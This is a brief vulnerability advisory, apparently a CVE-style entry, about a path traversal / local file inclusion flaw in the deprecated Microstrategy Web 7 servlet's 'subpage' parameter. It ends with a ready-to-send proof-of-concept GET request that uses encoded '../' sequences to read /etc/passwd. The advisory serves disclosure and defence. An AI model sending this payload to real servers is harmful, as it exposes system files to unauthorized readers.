Microstrategy Web 7 is vulnerable to local file inclusion via “/WebMstr7/servlet/mstrWeb” (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.
GET /WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
